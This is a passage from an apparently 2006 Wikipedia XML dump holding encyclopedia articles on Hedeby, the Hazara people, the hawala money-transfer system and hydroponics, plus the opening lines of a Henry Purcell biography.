The town itself was surrounded on its three landward sides (north, west, and south) by earthworks. At the end of the 9th century the northern and southern parts of the town were abandoned for the central section. Later a 9-metre (29-ft) high semi-circular wall was erected to guard the western approaches to the town. On the eastern side, the town was bordered by the innermost part of the [[Schlei]] inlet and the bay of [[Haddebyer Noor]].

===Rise===
Hedeby became a principal marketplace because of its geographical location on the major trade routes between the [[Frankish Empire]] and [[Scandinavia]] (north-south), and between the [[Baltic Sea|Baltic]] and the [[North Sea]] (east-west). Between [[800]] and [[1000]] the growing economic power of the [[Vikings]] led to its dramatic expansion as a major trading centre. 
The following indicate the importance achieved by the town:
* The town was described by visitors from England ([[Wulfstan]] - 9th C.) and the Mediterranean ([[Ibrahim ibn Yaqub al-Tartushi|Al-Tartushi]] - 10th C.).
* Hedeby became the seat of a bishop ([[948]]) and belonged to the Archbishopric of [[Hamburg]] and [[Bremen (city)|Bremen]].
* The town minted its own coins (from [[825]]?).
* [[Adam of Bremen]] (11th C.) reports that ships were sent from this ''portus maritimus'' to Slavic lands, to [[Sweden]], [[Samland]] (''Semlant'') and even [[Greece]]. 

A Swedish dynasty founded by [[Olof the Brash]] is said to have ruled Hedeby during the last decades of the [[9th century]] and the first part of the [[10th century]]. This was told to [[Adam of Bremen]] by the Danish king [[Sweyn Estridsson]], and it is supported by three [[runestones]] found in Denmark. Two of them were raised by the mother of Olof's grand-son [[Sigtrygg Gnupasson]]. The third runestone is from Hedeby, the ''Stone of Eric'' ([[Swedish language|Swedish]]: Erikstenen) and it was discovered in [[1796]], which shows [[Runic alphabet#Younger Fuþark|Norwegian-Swedish runes]]. It is, however, possible that Danes also occasionally wrote with this version of the [[Runic alphabet#Younger Fuþark|younger futhark]].

===Lifestyle===
Life was short and crowded in Hedeby. The small houses were clustered tightly together in a grid, with the east-west streets leading down to jetties in the harbour. People rarely lived beyond 30 or 40, and archaeological research shows that their latter years were often painful due to crippling diseases such as tuberculosis. Yet make-up for men and rights for women provide surprises to the modern understanding.

The Arab traveller Ibrahim [[Ibrahim ibn Yaqub al-Tartushi|Al-Tartushi]] (late 10th C.) provides one of the most colourful and often quoted descriptions of life in Hedeby. Al-Tartushi was from [[Cordova]] in [[Spain]], which had a significantly more wealthy and comfortable lifestyle than Hedeby. While Hedeby may have been significant by Scandinavian standards, Al-Tartushi is unimpressed:
:''&quot;Slesvig (Hedeby) is a very large town at the extreme end of the world ocean.... The inhabitants worship Sirius, except for a minority of Christians who have a church of their own there.... He who slaughters a sacrificial animal puts up poles at the door to his courtyard and impales the animal on them, be it a piece of cattle, a ram, billygoat or a pig so that his neighbors will be aware that he is making a sacrifice in honor of his god. The town is poor in goods and riches. People eat mainly fish which exist in abundance. Babies are thrown into the sea for reasons of economy. The right to divorce belongs to the women.... Artificial eye make-up is another peculiarity; when they wear it their beauty never disappears, indeed it is enhanced in both men and women. Further: Never did I hear singing fouler than that of these people, it is a rumbling emanating from their throats, similar to that of a dog but even more bestial.&quot;'' {{ref|tartushi}}

===Destruction===
The town was sacked in [[1050]] by King [[Harold Hardrada]] of Norway during the course of a conflict with King [[Sweyn II of Denmark|Sweyn II]] of Denmark. Aa Norwegian ''[[skald]]'', himself quoted by [[Snorri Sturluson]], describes the sack as follows: 
:''Burnt in anger from end to end was Hedeby [..]''
:''High rose the flames from the houses when, before dawn, I stood upon the stronghold's arm''

After the sack of Hedeby by Harold, [[Slavs]] plundered and again destroyed the town in [[1066]]. The inhabitants then abandoned Hedeby and moved across the [[Schlei]] inlet to the town of [[Schleswig]].

==Archaeology==
===20th century excavations===
After the settlement was abandoned, rising waters contributed to the complete disappearance of all visible structures on the site. It was even forgotten where the settlement had been. This proved to be fortunate for later archaeological work at the site.

[[Image:Haithabu_Museum_WT2005.jpg|thumb|right|View of the Viking Museum]]

Archaeological work began at the site in [[1900]] after the rediscovery of the settlement. Excavations were conducted for the next 15 years. Further excavations were carried out between [[1930]] and [[1939]]. Archaeological work on the site was productive due to two main factors: that the site had never been built on since its destruction some 840 years earlier, and that the permanently waterlogged ground had preserved wood and other perishable materials. After the Second World War, in [[1959]] archaeological work was started again and has continued intermittently ever since. The embankments surrounding the settlement were excavated and a partial dredging of the harbour was carried out. The wreck of a [[Viking ship]] was discovered in the harbour during these latter excavations. Despite all this work, today only 5% of the settlement (and only 1% of the harbour) has actually been investigated.

The most important finds resulting from the excavations are now on display in the adjoining Hedeby Viking Museum.

===21st century reconstructions===
In [[2005]] an ambitious archaeological reconstruction programme was initiated on the original site. Based on the results of archaeological analyses, exact copies of some of the original Viking houses have been built.

==Notes==
# {{note|Ribe}} The oldest town in modern Denmark is [[Ribe]], first mentioned in [[854]].
# {{note|Elsner}} Research opinions on the naming issues differ slightly. The version given is based primarily on {{cite book | first = Hildegard | last = Elsner | year = 1989 | title = Wikinger Museum Haithabu: Schaufenster einer frühen Stadt | chapter = | editor = | others = | pages = | location = Neumünster | publisher = Wachholtz | id = | url = | authorlink = }}, p.13
# {{note|timeline}} The timeline is primarily based on Elsner, op.cit.
# {{note|Tartushi}} {{Web reference |author=Consulate General of Denmark in New York   | title=Factsheet | work= |  url=http://www.denmark.org/about_denmark/factsheets_articles/factsheets_vikings.html | date=January 14 | year=2006}}

==Bibliography and media==
* A number of short archaeological films relating to Hedeby and produced by researchers during the 1980's are available on DVD from the ''[http://www.uni-kiel.de/cinarchea/neu/dvd-e.htm University of Kiel's Archaelogical Film Project.]''
* The known publications on Hedeby are mainly in the German language. See ''[http://de.wikipedia.org/wiki/Haithabu Wikipedia's German-language article on Hedeby.]''
* {{cite book | first = Ole | last = Crumlin-Pedersen | year = 1997 | title = Viking-Age Ships and Shipbuilding in Hedeby/ Haithabu and Schleswig. Ships and Boats of the North 2. | chapter =  | editor =  | others =  | pages =  | publisher = Schleswig and Roskilde: Archaologisches Landesmuseum der Christian-Albrechts-Universitat, Wikinger Museum Haithabu, The National Museum of Denmark, and The Viking Ship Museum in Roskilde | id =  | url =  | authorlink =  }}

==See also==
* [[Viking Age]]
* Towns: [[Jelling]], [[Birka]], [[Ribe]], [[Schleswig]], [[Reric]]
* People: [[Wulfstan of Hedeby]], [[Ibrahim ibn Yaqub al-Tartushi|Al-Tartushi]], [[Adam of Bremen]], [[Harold Hardrada]], [[Rurik]], [[Gudfred|Godfred (Danish King)]]
* [[Schlei]]

==External links==
*[http://genealogy.euweb.cz/scand/norway1.html Genealogy of the Haithabu rulers]
*[http://www.clandonald.org.uk/genealogy/d0000/g0000012.html#I1325 Genealogy of Haithabu rulers predessors], mentioned in top link as unknown, listed here in great detail as deep as 10+ generations
*[http://www.schloss-gottorf.de/haithabu/frameset.htm Website of the Hedeby Viking Museum]

[[Category:Viking Age]]
[[Category:History of Denmark]]

[[da:Hedeby]]
[[de:Haithabu]]
[[fr:Hedeby]]
[[la:Heidiba]]
[[no:Hedeby]]
[[pl:Hedeby]]
[[sv:Hedeby]]</text>
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  </page>
  <page>
    <title>Hazara</title>
    <id>14131</id>
    <revision>
      <id>42004758</id>
      <timestamp>2006-03-03T04:09:52Z</timestamp>
      <contributor>
        <username>Hadi1121</username>
        <id>885898</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Hazaras.jpg|right|thumb|250px|The Hazaras. Photo by Hadi Zaheer]]
{{Ethnic group| image= 
|group=Hazaras
|poptime=''c. '' 9 million (est.)
|popplace=[[Afghanistan]]:&lt;br&gt;  8,000,000 &lt;br&gt;
[[Iran]]:&lt;br&gt; &amp;nbsp;&amp;nbsp;  300,000&lt;br&gt;
[[Pakistan]]:&lt;br&gt; &amp;nbsp;&amp;nbsp;   300,000&lt;br&gt;
|langs=[[Persian language|Persian]] ([[Hazaragi]] dialect), also [[Dari]]
|rels=[[Shi'a]]( Some [[Ismaili]]), some [[Sunni]]
|related=[[Iranian peoples|Iranian]], [[Turkic peoples|Turkic]], [[Mongols|Mongol]]&lt;br&gt;
}}

The '''Hazara''' ethnic group resides mainly in the central [[Afghanistan]] mountain region called '[[Hazarajat]] or [[Hazaristan]]'. They make up anywhere between 19-25% of Afghanistan's population, but an accurate census has not been taken in decades so there is little information to verify at present. There are also significant populations of Hazaras in [[Pakistan]] and [[Iran]].

==History and origins==
Historically, the Hazara seem to have mainly [[Mongoloid]] origins with some Caucasoid admixture, as evidenced by physical attributes and parts of the [[culture]] and [[language]]. It is commonly believed that the Hazara are descendants of [[Genghis Khan]]'s army, which marched into the area during the [[12th century]], but there are also beliefs holding Hazaras as descendents of the [[Koshanis]], the ancient dwellers of Afghanistan famous for constructing the [[Buddhas of Bamiyan]]; or Hazaras as people of Turckic origin. Proponents of the Mongolid view hold that many of the [[Mongol]] soldiers and their families settled in the area and remained there after the [[Mongol empire]] dissolved in the [[13th century]], converting to [[Islam]] and [[Cultural diffusion|adopting local customs]].

However, the main Mongolid theory is contested on the basis of historical events surrounding Genghis Khan's invasion of what today constitutes Central Afghanistan. The invading Mongol armies encountered fierce resistance from the locals around [[Bamiyan]], who had Asian features like the invading Mongols. This suggests that people with Mongoloid features inhabited Central Afghanistan, possibly of [[Uighur]] [[Turkic peoples|Turkic]] origin, long before Genghis Khan's invasion and probably arrived there in much earlier waves of migration out of [[Central Asia]].

Historical records also mention that in a particularly bloody battle around Bamiyan, Genghis Khan's grandson [[Motochin]] was killed. He ordered Bamiyan burnt to the ground in retribution, renaming it [[Ma-Obaliq]] (&quot;Uninhabitable Abode&quot;).

After the fall of the [[Il-Khan]] empire in [[Persian Empire|Persia]], the [[Safavid]] [[Shah Abbas]] drove out the '[[Infidel]] [[Mongols]]' from Persia to [[Khorasan]] (present day Afghanistan). Some sources say he drove out the [[Uzbeks]] but the distinction is unclear. Around the year ad 1550, the first mention of 'Hazaras' are made by the court historians of [[Shah Abbas]], as well as in the [[Baburnama]] distinguishing Hazaras from the [[Chughtai]] [[Uzbeks]]. This is when the national identity of Hazaras apparently began.

The 'Global Gene Project' reported over a quarter of their sample Hazara males in [[Pakistan]] to have the [[Y-Chromosome]] of [[Genghis Khan]].

Much more information on history is available at [http://www.jewishencyclopedia.com/view.jsp?artid=402&amp;letter=C]

==Language==
The [[Hazaragi language]] is a unique [[dialect]] of the [[Persian language]], with some [[Mongolian language|Mongolian]] and [[Turkish language|Turkish]] vocabulary. Hazaragi is categorized in the Indo-European language family, and 16% to 20% of Afghanistanis speak it. Many of the urban Hazaras in the larger cities of [[Kabul]] and [[Mazar-i-Sharif]] speak [[Dari]], while Hazaras from the [[Dai Kundi]] and [[Dai Zangi]] regions have the many admixture of the [[Mongolian]] in their language. Hazaras in [[Pakistan]] date back to around [[1890]], and use more [[Urdu]] and [[English language|English]] words.

==Religion==
Hazaras are predominantly [[Shi'a]] [[Muslim]]s, although there are significant populations of [[Sunni]] and [[Ismaili]] Hazaras in north and northwestern [[Afghanistan]]. Often Sunni Hazaras can blur the lines with the [[Tajiks]] and [[Pashtuns]]. The [[Aimagh]] (Chahar Aimaq) Hazaras for instance are predominantly [[Sunni]].

==Political==
Since the early [[1990s]], most Hazaras are members of the [[Hizb-e-Wahdat]] political party. The most influential member, prior to his capture and execution by the [[Taliban]], was  [[Abdul Ali Mazari]]. His [[death]] made him the symbolic leader of many of the Hazara people.

==External links==
* [http://www.journals.uchicago.edu/AJHG/journal/issues/v70n5/013572/013572.web.pdf Y-Chromosomal DNA Variation in Pakistan (American Journal of Human Genetics, 2002)]
* [http://www.oxfordancestors.com/papers/mtDNA04%20DNALandscape.pdf Where west meets east: the complex mtDNA landscape of the southwest and Central Asian corridor (Oxford Ancestors)]
* [http://news.nationalgeographic.com/news/2003/02/0214_030214_genghis.html Genghis Khan a Prolific Lover, DNA Data Implies (National Geographic, 2003)]

[[Category:Ethnic groups in Afghanistan]]
[[Category:Ethnic groups in Asia]]
[[Category:Ethnic groups in Pakistan]]
[[Category:Iranian peoples]]
[[Category:Mongol peoples]]

[[de:Hazara]]
[[es:Hazara]]
[[fr:Hazaras]]
[[ja:ハザラ人]]
[[no:Hazarere]]
[[pl:Hazarowie]]
[[zh:哈扎拉族]]</text>
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  </page>
  <page>
    <title>Hawala</title>
    <id>14132</id>
    <revision>
      <id>39829112</id>
      <timestamp>2006-02-16T03:34:38Z</timestamp>
      <contributor>
        <username>Descendall</username>
        <id>195820</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Hawala''' (also known as '''hundi''') is an [[informal value transfer system]] used primarily in the [[Middle East]], [[Africa]] and [[Asia]]. 

Its origins are not entirely clear, but it is believed to have been used first in the financing of long-distance trade in the early [[medieval]] period on [[trading route]]s such as the [[Silk Road]], the Eastern [[Mediterranean]] and the [[Indian Ocean]]. Hawala is mentioned in texts of [[Islamic jurisprudence]] as early as the [[8th century]]. In [[South Asia]], it appears to have developed into a fully-fledged [[money market instrument]], which was only gradually replaced by the instruments of the formal [[banking system]] in the first half of the [[20th century]]. Today hawala is probably used mostly for [[migrant worker]]s' remittances to their countries of origin.

In the most basic variant of the hawala system, money is transferred via a network of hawala brokers, or hawaladars. A customer approaches a hawala broker in one city and gives a sum of money to be transferred to a recipient in another, usually foreign, city. The hawala broker calls another hawala broker in the recipient's city, gives disposition instructions of the funds (usually minus a small commission), and promises to settle the [[debt]] at a later date.

The unique feature of the system is that no [[Promissory_note|promissory instrument]]s are exchanged between the hawala brokers; the transaction takes place entirely on the [[honor system]]. As the system does not depend on the legal enforceability of claims, it can operate even in a defunct legal and juridical environment.
No records are produced of individual transactions; only a running tally of the amount owed one broker by the other is kept. Settlements of debts between hawala brokers can take a variety of forms, and need not take the form of direct cash transactions. 

In addition to commissions, hawala brokers often earn their profits through bypassing official [[exchange rate]]s. Generally the funds enter the system in the source country's [[currency]] and leave the system in the recipient country's currency. As settlements often take place without any foreign exchange transactions, they can be made at ([[black market|black]]) market rates rather than official rates. 

Hawala is attractive to customers because it provides a fast, convenient and safe transfer of funds, usually with a far lower commission than that charged by banks. Its advantages are most pronounced when the receiving country applies distortive exchange rate regulations (as has been the case for many typical receiving countries such as [[Pakistan]] or [[Egypt]]) or when the banking system in the receiving country is underdeveloped (e.g. due to weak legal environment in places such as [[Afghanistan]], [[Yemen]], [[Somalia]]).

Furthermore, the transfers are informal and not effectively regulated by governments, which is a major advantage to customers with [[tax]], [[currency control]], [[immigration]], or other legal concerns. For the same reasons, governments disfavor the system, and accusations have been made in recent years that [[terrorism|terrorist]] funding often changes hands through hawala networks.

==Hundis (The Bill of Exchange) ==
It can also be noted that Hundis are also referred to [[legal]] [[financial]] instruments evolved on the Indian sub-continent. These were used in trade and credit transactions they were used as remittance instruments for the purpose of transfer of funds from one place to another. In the era of bygone kings and the [[British Raj]] these Hundis served as Travellers Cheque. They were also used as credit instruments for borrowing and as bills of exchange for trade transactions.
Technically, a Hundi is an unconditional order in writing made by a person directing another to pay a certain sum of money to a person named in the order. Hundis being a part of informal system have no legal staus now and these were not covered under the Negotiable Instruments Act, 1881. They were mostly used as cheques by indigenous [[bankers]].
&lt;!-- Image with unknown copyright status removed: [[Image:British India hundi.jpg|frame|right|A file photo of a Hundi used in the British India from the archives of [[Reserve Bank of India]] [http://www.rbi.org.in/currency/museum/m-hundi.html 1] ]] --&gt;

==Hawala after September 11 attacks==

After the September 11 Attacks, the American government suspected that hawala brokers may have helped terrorist organizations to transfer money to fund their activities. The 9/11 Commission Report has since confirmed that the bulk of the funds used to finance the assault on the twin towers were not sent through the hawala system, but rather by inter-bank wire transfer to the [[SunTrust Bank]] in [[Florida]], where two of the conspirators had opened a personal account. However as a result of intense pressure from the US authorities, widespread efforts are currently being made to introduce systematic anti-money laundering initiatives on a global scale, the better to curb the activities of the financiers of terrorism and those engaged in laundering the profits of drug smuggling. Whether these initiatives will have the desired effect of curbing such activities has yet to be seen; although a number of hawala networks have been closed down, and a number of hawaladars have been successfully prosecuted for money laundering, there is little sign that these &quot;successes&quot; have brought the authorities any closer to identifying and arresting a significant number of terrorists or drug smugglers.

In [[November]], [[2001]], the Bush administration froze the assets of [[Al Barakat]], a Somali remittance hawala company used primarily by the large Somali [[Diaspora]]. Many of its agents in several countries were initially arrested, though later freed after no concrete evidence against them were found. Many of them still have their assets frozen.

Hawala have been made illegal in some states of the US and other countries as they are seen to be a form of money laundering and terrorist funding.

==External links==
* [http://news.bbc.co.uk/1/hi/world/middle_east/3463683.stm BBC news article about recent changes to hawala and their impacts]
* [http://www.vineetnarain.com/the_hawala_crusade.htm Vineet Narain, the journalist who exposed India's biggest scam - The Jain Hawala Case] 
* [http://www.art.man.ac.uk/CASAS/pages/papers.htm#remittances A collection of academic papers exploring the operation of contemporary hawala networks, and the role they play in the transmission of migrant workers' remittances from Europe to South Asia]
* [http://samvak.tripod.com/nm104.html Study of the Hawala money transfer networks]
* [http://www.interpol.int/Public/FinancialCrime/MoneyLaundering/hawala/default.asp Interpol Report about Hawala]

[[Category:Payment systems]]

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  <page>
    <title>Hydroponics</title>
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      <comment>/* Deep Water Culture (DWC) */</comment>
      <text xml:space="preserve">[[Image:Hydroponic onions nasa.jpg|thumb|300px|NASA researcher checking hydroponic onions with Bibb lettuce to his left and radishes to the right]]
'''Hydroponics''' is the growing of [[plant]]s without [[soil]]. A variety of techniques exist. 

Researchers of [[plant metabolism]] have discovered that plants absorb [[nutrient]]s as simple [[ion]]s in [[water]]. In natural conditions, [[soil]] acts as a [[nutrient]] reservoir but the soil itself is not essential to plant growth. When the nutrients in the soil dissolve in water, plant roots are able to absorb them. When the required nutrients are introduced into a plant's water supply artificially, soil is no longer required for the plant to thrive.  Almost any plant will grow with hydroponics, but some will do better than others.  It is also very easy to do; the activity is often undertaken by very young children with such plants as [[watercress]].

== Uses ==
[[Image:Hydroponic strawberry usda.jpg|thumb|250px|Researcher with hydroponic strawberries]]
Hydroponics is useful to us in two main ways. First, it provides a more controlled environment for plant growth than soil thereby removing many unknowns from experiments. Second, many plant [[species]] produce more in less time and sometimes of higher quality, which under certain economic and environmental conditions, makes hydroponics growing more profitable to the farmer.  With hydroponics there are no soil-borne diseases, weeds to pull, or soil to till, and plants can be placed very close to one another.  This allows a large amount of food to be produced in a small amount of space. Hydroponics is also very water-efficient as it uses containers or closed loop systems that recirculate the water, and therefore requires only a small fraction of the water used in traditional farming. 

These qualities combine to make hydroponics useful wherever people wish to grow plants in a non-traditional manner. [[Science fiction]] writers have long speculated that hydroponics would allow [[space station]]s or [[spaceship]]s to grow their own food. The same qualities make hydroponics ideal for those who wish to grow plants with maximum control over conditions, and maximum density.

== History ==
Some examples of earlier attempts in hydroponics are the [[Hanging Gardens of Babylon]] around 600 BC and the Floating Gardens of the Aztecs ([[chinampas]]) during the 11th century. 

In [[1929]], Professor Gericke of the [[University of California, Davis]] demonstrated that plants could be grown soil-free all the way to maturity, growing [[tomato]] plants in water to a quite remarkable size. By analogy with the ancient Greek term for agriculture, ''geoponics'', the science of cultivating the earth, Gericke coined the name ''hydroponics'' for the culture of plants in water (from the Greek ''hydros'', water, and ''ponos'', labour).

== Techniques ==
There are a variety of techniques employed in hydroponics. Some, while dispensing with soil, use relatively inert material as a physical support for the plant roots. Other techniques dispense altogether with any growing medium, delivering nutrient solution directly to the roots by a variety of methods.

=== Passive hydroponics ===
The simplest method: the plant is planted in a container (pot or bag) of growing medium, and the container stands in a tray of nutrient solution. The medium generally has large air spaces, allowing ample [[oxygen]] to the roots, while capillary action delivers water and nutrients to the roots. A variety of materials can be used for the medium: [[vermiculite]], [[perlite]], clay granules, [[rockwool]], gravel, [[Horticube|Oasis Horticubes]]. Some newer media that are becoming popular are [[coir]] fibre, and cocoa bean shells. This needs the least maintenance of all hydroponic methods, requiring only topup and occasional replacement of the nutrient solution.This keeps the medium regularly flushed with nutrient and air. It is important in passive hydroponics to wash out the system from time to time to remove salt build up. This may be checked with a [[Parts per million|PPM]] meter, a good average reading would be about 1500 PPM. Lettuce grows well at about 800 PPM and tomatoes to 3000 PPM but both will grow reasonably well on 1500 PPM. It is important to keep the [[pH]] reading at about 6.3 to enable nutrient uptake. Data are available for the optimum settings for most plants. This is commonly employed for large display plants in public buildings: in Europe a system using small clay granules is marketed for growing houseplants. 

Passive hydroponic at home - [[Semi-hydroponic for growing orchids]]

=== Flood and Drain (or Ebb and Flow) ===
In its simplest form, there is a tray above a reservoir of nutrient solution. The tray is either filled with growing medium (clay granules being the most common) and planted directly, or pots of medium stand in the tray. At regular intervals, a simple timer causes a pump to fill the upper tray with nutrient, after which the nutrient drains back down into the reservoir. This keeps the medium regularly flushed with nutrient and air.  

=== Deep Water Culture (DWC) ===
Deep Water Culture is a hydroponic method of growing plants in which the roots are suspended above, and allowed to drop down into an aerated nutrient solution. This is not natural but with a properly aerated solution the roots can be continualy submerged without problems because the roots take up nutrients in the presence of oxygen. The solution is usually aerated constantly by using standard aquarium pumps and air stones, which deliver oxygen to the roots. The container holding the roots and aerated nutrient solution must be completely light proof in order to prevent algae growth. The solution must be topped up from time to time.

=== Drip feeding ===
Similar to Flood and Drain in its physical setup, except the pump delivers a continuous trickle of nutrients and water onto the medium.  The emitters are commonly set to run 5 to 10 minutes every hour.

=== Wick feeding ===
A variation on Drip feeding, except that the plant draws water by means of a wick. The wick runs from the base of the plant container (e.g. a pot or a tray) down to a bottle of nutrient feed solution. The solution travels up the wick into the pot plant.

=== Raft cultivation ===
A variant of DWC sometimes used for [[lettuce]]s: sheets of expanded [[polystyrene]] have holes drilled through them, and young plants are placed in the holes with the roots hanging down. The sheet then floats in a shallow tank of nutrient solution. 

=== Nutrient film technique (NFT) ===
In this method, the plants grow through light-proof plastic films placed over shallow, gently sloping channels. A steady flow of nutrients is maintained along the channel, and the roots grow into dense mats, with a thin film of nutrient passing over them (hence the name of the technique). 
A downside of the technique is that it has very little buffering against interruptions in the flow e.g. power outages, but overall, it is probably one of the more productive techniques.

=== Aeroponics ===
{{main|Aeroponics}}

A class of hydroponics where the roots of a plant are suspended in a mist or fog of nutrient rich solution.  Traditional aeroponic techniques use pumps and misters more commonly found in micro-irrigation systems, whereas state-of-the-art techniques employ ultrasonic nebulizers which render the nutrient solution into an extremely fine fog.

== Media ==
One of the most obvious decisions a hydroponicist has to make is which medium they should use. Different media are appropriate for different growing techniques.

===Expanded Clay===
Also known as 'hydroton' or 'leca' (=light expanded clay aggregate), trademarked names, these small round baked spheres of clay are inert and are suitable for hydroponic systems in which all the nutrients are carefully controlled in the water. Clay pebbles can be reused provided they are cleaned thoroughly between crops. Baked clay pebbles are highly porous, yet irregularly shaped to create an balance of air space and nutrient solution.

===Rockwool===
Rockwool is probably the most widely used medium in Hydroponics. Made from basalt rock it
is heat treated at high temperatures then spun back together like candy floss. It comes in lots
of different forms including cubes, blocks, slabs and granulated or flock. When medium is dry, care needs be taken so as not inhale any particles. Inhaling such particles may carry a health risk.

===Coco Coir===
Coco is a compressed medium created from the husks of coconuts. Coco coir comes also in bags and in slabs. Some types of Coco coir are very high in sodium (salt) due to the nature of Coconut Palms growing on island environments and being processed in the salt air.

===Perlite===
[[Perlite]] is a volcanic rock that has been superheated into, very lightweight, expanded glass pebbles.  It is used loose or in plastic sleeves immersed in the water.  It is also used in potting soil mixes to decrease soil density. Perlite has similar properties and uses to [[vermiculite]] but generally holds more air and less water.

===Vermiculite===
Like perlite, [[vermiculite]] is another mineral that has been superheated until it has expanded into light pebbles. Vermiculite holds more water than perlite and has a natural &quot;wicking&quot; property that can draw water and nutrients in a passive hydroponic system. If too much water and not enough air surrounds the plants roots, it's possible to gradually lower the medium's water-retention capability by mixing in increasing quantities of perlite.

===Oasis Root Cubes===
An open cell foam cube with a preset pH and a mild fertilizer added, [[Horticube|Oasis root cubes]] produced by [http://www.smithersoasis.com/ Smithers Oasis] is the choice of large scale nutrient film growers.  It is availible in many different sizes.  Widely marketed in sheets sized to fit commercial trays (10&quot;x20&quot;), it is a convenient propogation media. Each sheet is pre-scored for easy removal of a single cube, block of cubes, or strip of cubes. Each cube has been pre-punched with a dibble hole for quick and easy seed or plant cutting insertion. 

== Nutrient Solutions ==
Plant [[nutrient]]s are dissolved in the water used in hydroponics and are mostly in inorganic and [[ion]]ic form. Primary among the dissolved cations (positively-charged ions) are Ca&lt;sup&gt;2+&lt;/sup&gt; ([[calcium]]), Mg&lt;sup&gt;2+&lt;/sup&gt; ([[magnesium]]), and K&lt;sup&gt;+&lt;/sup&gt; ([[potassium]]); the major nutrient anions in nutrient solutions are NO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt; ([[nitrate]]), SO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;2&amp;minus;&lt;/sup&gt; ([[sulfate]]), and H&lt;sub&gt;2&lt;/sub&gt;PO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt; ([[phosphate]]). 

Numerous 'recipes' for hydroponic solutions are available. Many use different combinations of chemicals to reach similar total final compositions. Commonly-used chemicals for the macronutrients include [[potassium nitrate]], [[calcium nitrate]], potassium phosphate, and [[magnesium sulfate]]. Various micronutrients are typically added to hydroponic solutions to supply essential elements; among them are Fe ([[iron]]), Mn ([[manganese]]), Cu ([[copper]]), Zn ([[zinc]]), B ([[boron]]), Cl ([[chlorine]]), and Ni ([[nickel]]). [[Chelating]] agents are sometimes used to keep Fe soluble.

Plants will change the composition of the nutrient solutions upon contact by depleting specific nutrients more rapidly than others, removing water from the solution, and altering the [[pH]] by excretion of either acidity or alkalinity. Care is required not to allow salt concentrations to become too high, nutrients to become too depleted, or pH to wander far from the desired value.

== Commercial ==
Due to rising awareness of chemicals and other contaminants in the food supply, people are looking for more wholesome and safer alternatives.  Fortunately, hydroponics is the exact fit for the consumer&amp;#8217;s new requirements.

Some commercial installations use no [[pesticide]]s or [[herbicide]]s, preferring Integrated Pest Management Techniques.  There is often a price premium willingly paid by consumers for produce which is labeled &quot;Organic&quot;.  This means that lawyers and lobbyists are paid to establish rules and laws determining exactly who can charge consumers more and which produce can be legally sold with the label &quot;Organic&quot;. Some States in the USA require soil as a &quot;[[sine qua non]]&quot; to obtain Organic Certification. There are also overlapping and somewhat contradictory rules established by the Federal Government. So some food grown with hydroponics can be certified [[organic farming|organic]].  In fact, they are the cleanest plants possible because there is no environment variable and the dirt in the food supply is extremely limited.  Hydroponics also saves an incredible amount of water; It uses as little as 1/20 the amount as a regular farm to produce the same amount of food.  The water table can be impacted by the water use and run-off of chemicals from farms, but hydroponics may minimize impact as well as having the advantage that water use and water returns are easier to measure.  This can save the farmer money by allowing reduced water use and the ability to measure consequences to the land around a farm.

The environment in a hydroponics [[greenhouse]] is tightly controlled for maximum efficiency and this new mindset is called Soil-less/Controlled Environment Agriculture (S/CEA).  With this growers can make ultra-premium foods anywhere in the world, regardless of temperature and growing seasons.  Growers monitor the temperature, humidity, and [[pH]] level constantly.  In an era of farm globalization where each successive year thousands of farms are closed down worldwide due to excess capacity, only the most efficient farms will be passed down to generations in the 22nd century.

== Problems with hydroponics ==
Although hydroponics is useful and an expanding area of agriculture, it is not without problems. One of the biggest problems with hydroponics is the need to balance the Ph of the nutrient mixtures. On large scale commercial operations computers can be used to help control the different factors, making hydroponics more complex and thus more expensive.  However, the added benefit of computer controlled growing environments is that manual intervention is kept to a minimum.  There are experimental computer systems which allow every aspect of the growing environment to be monitored remotely, via a network.

Luckily, hydroponics is not nearly as difficult when done on a small scale. Hydroponic systems may be as complicated or as simple as the gardener's abilities and needs dictate.  Often more advanced systems will produce more abundant or higher quality crops.  However even the simplest hydroponic system can yield incredible results when compared to their soil counterparts.

== Present and future ==
With pest problems reduced, and nutrients constantly fed to the roots, productivity in hydroponics is high, plant growth being limited by the low levels of [[carbon dioxide]] in the atmosphere, or limited light. To increase yield further, some sealed greenhouses inject carbon dioxide into their environment to help growth (CO&lt;sub&gt;2&lt;/sub&gt; enrichment), or add lights to lengthen the day, control vegetative growth etc. 

Hydroponics can be used to grow plants anywhere, from [[Antarctica]] (where salad vegetables are grown in the 6 month nights) to a coal mine. If vegetables are grown in future space missions, it is likely to be by hydroponic methods. 

The fact that plants can be grown almost anywhere, with no natural light by using hydroponics and lighting has not escaped the notice of clandestine [[marijuana]] growers, and a large amount of hydroponics equipment appears to be in use for this purpose.  In the UK, theft of high intensity (HID) grow lamps from commercial vegetable growers is a chronic problem.  However, this trend is being reduced by the increased availability, especially via the internet, of the specialist hydroponics equipment.  Wide availability and low cost of equipment in the U.S. makes theft from greenhouses a rare event.  In the UK, growing cannabis remains the criminal offence of [[trafficking]].  Large scale growing operations using hydroponics are often detected from abnormally high electricity consumption..

== See also ==
{{commonscat}}

[[Category:Agriculture]]
[[Category:Futurology]]
[[Category:Horticulture]]

[[cs:Hydroponie]]
[[de:Hydrokultur]]
[[fi:Hydroviljely]]
[[fr:Hydroponie]]
[[he:הידרופוניקה]]
[[ja:水耕栽培]]
[[no:Vannkultur]]
[[pl:Hydroponika]]
[[ru:Гидропоника]]
[[th:ไฮโดรโปนิกส์]]</text>
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  <page>
    <title>Henry Purcell</title>
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      <text xml:space="preserve">[[Image:Henry-purcell.jpg|thumb|right|220px|Henry Purcell]]

'''Henry Purcell'''  ([[September 10]], [[1659]] - [[November 21]], [[1695]]), a Baroque composer, is generally considered to be one of England's greatest composers &amp;mdash; indeed, he has often been called England's finest native composer. Purcell incorporated Italian and French stylistic elements but devised a peculiarly English style of [[Baroque music]].

==Biography==
Purcell was  born in St Ann's Lane, Old Pye Street, [[Westminster]].  His father, Henry Purcell (pronounced Pursell with the accent on the first syllable, or in [[ipa]] &lt;nowiki&gt;[pur'ːsəl]&lt;/nowiki&gt;), was a gentleman of the [[Chapel Royal]], and sang at the coronation of King [[Charles II of England]].  Henry the elder had three sons, Edward, Henry, and Daniel. [[Daniel Purcell]] (d. [[1717]]), the youngest of the brothers, was also a prolific composer.

